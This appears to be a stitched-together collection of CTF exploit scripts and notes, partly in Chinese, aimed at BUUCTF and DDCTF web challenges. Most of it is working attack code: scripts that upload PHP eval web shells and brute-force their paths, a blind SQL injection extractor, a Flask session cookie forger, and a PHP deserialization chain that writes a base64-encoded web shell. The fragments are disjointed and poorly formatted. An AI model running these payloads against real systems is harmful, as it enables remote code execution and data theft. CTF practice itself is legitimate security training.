class IndexController extends Controller { public function index() { show_source(__FILE__); } public function upload() { $uploadFile = $_FILES['file'] ;
import requests '''方法一''' url = 'http://22a640cb-bdce-4cb4-92c3-f23fc8cc1fec.node4.buuoj.cn:81/index.php/home/index/upload' s = requests.Session()
file1 = {"file":("shell","123",)} file2 = {"file[]":("shell.php","<?php @eval($_POST[penson]);")} #批量上传用[] r = s.post(url,files=file1) print(r.text) r = s.post(url,files=file2) print(r.text) r = s.post(url,files=file1) print(r.text)
'''爆破'''
dir ='abcdefghijklmnopqrstuvwxyz0123456789'
for i in dir: for j in dir: for k in dir: for x in dir: for y in dir: url = 'http://22a640cb-bdce-4cb4-92c3-f23fc8cc1fec.node4.buuoj.cn:81/Public/Uploads/2020-06-01/5ed4adac{}{}{}{}{}'.format(i,j,k,x,y) print(url) r = requests.get(url) if r.status_code == 200: print(url) break ''' #方法2 url = "http://9b96c9f8-7b74-491a-94fd-f8063d1b8a29.node3.buuoj.cn/index.php/home/index/upload/" s = requests.Session() files = {"file": ("shell.<>php", "<?php eval($_GET['cmd'])?>")} r = requests.post(url, files=files) print(r.text) '''
for i in range(1,100): low =28 high =137 mid = (low + high) // 2
while(low < high): url = 'http://af7d1090-d916-4350-8828-1bfb62212ceb.node4.buuoj.cn:81/backend/content_detail.php?id=' payload = payload4.format(i,mid) url+=payload print(url) r = requests.get(url) text = str(r.json()) if "札师傅缺个女朋友" in text: low = mid + 1 else: high = mid mid = (low + high) // 2 if(chr(mid)==''): break flag +=chr(mid) print(flag)
print(flag)
[DDCTF 2019]homebrew event loop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
def view_handler(args): page = args[0] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />'.format( session['num_items'], session['points']) if page == 'index': html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop': html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset': del session['num_items'] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return html
一些可以进行的操作?action:
1 2 3 4 5
def get_flag_handler(args): if session['num_items'] >= 5: \# show_flag_function has been disabled, no worries trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index')
数量>=5flag会被写入session当中 问题在于如何绕过这个数量 需要调用自己循环来绕过
1 2 3 4 5 6 7
def buy_handler(args): num_items = int(args[0]) if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) session['num_items'] += num_items trigger_event(['func:consume_point;{}'.format( num_items), 'action:view;index'])
def get_flag_handler(args): if session['num_items'] >= 5:#当钻石数量大于等于5的时候 # show_flag_function has been disabled, no worries trigger_event('func:show_flag;' + FLAG())#调用这个函数,上面也说了这个函数会把形参传入session['log']列表中 trigger_event('action:view;index')
decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload)
if __name__ == '__main__': print(decryption(sys.argv[1].encode()))
if payload.startswith('.'): compressed = True payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data) if compressed: data = zlib.decompress(data)
return data else: app = MockApp(secret_key)
si = SecureCookieSessionInterface() s = si.get_signing_serializer(app)
return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}".format(e) raise e
if __name__ == "__main__": # Args are only relevant for __main__ usage ## Description for help parser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder', epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command parser_encode = subparsers.add_parser('encode', help='encode') parser_encode.add_argument('-s', '--secret-key', metavar='<string>', help='Secret key', required=True) parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>', help='Session cookie structure', required=True)
## create the parser for the decode command parser_decode = subparsers.add_parser('decode', help='decode') parser_decode.add_argument('-s', '--secret-key', metavar='<string>', help='Secret key', required=False) parser_decode.add_argument('-c', '--cookie-value', metavar='<string>', help='Session cookie value', required=True)
## get args args = parser.parse_args()
## find the option chosen if(args.subcommand == 'encode'): if(args.secret_key is not None and args.cookie_structure is not None): print(FSCM.encode(args.secret_key, args.cookie_structure)) elif(args.subcommand == 'decode'): if(args.secret_key is not None and args.cookie_value is not None): print(FSCM.decode(args.cookie_value,args.secret_key)) elif(args.cookie_value is not None): print(FSCM.decode(args.cookie_value))
import requests while True: r=requests.get('http://a10002f2-2091-47dc-9b7c-996d05cd4faa.node3.buuoj.cn/?func_name=%00lambda_1') if 'flag' in r.text: print(r.text) break print('Testing.......')
<?php class A{ protected $store; protected $key; protected $expire;
public $cache =[]; public $complete = true; public function __construct () { $this->store = new B(); $this->key = '/../aaa.php/.'; $this->cache = ['dirname'=>'aPD9waHAgZXZhbCgkX1BPU1RbJ3BlbnNvbiddKTs/Pg']; }
} class B{ public $options = [ 'serialize' => 'serialize', 'prefix' => 'php://filter/write=convert.base64-decode/resource=./uploads/', ]; } $a = new A(); echo urlencode(serialize($a));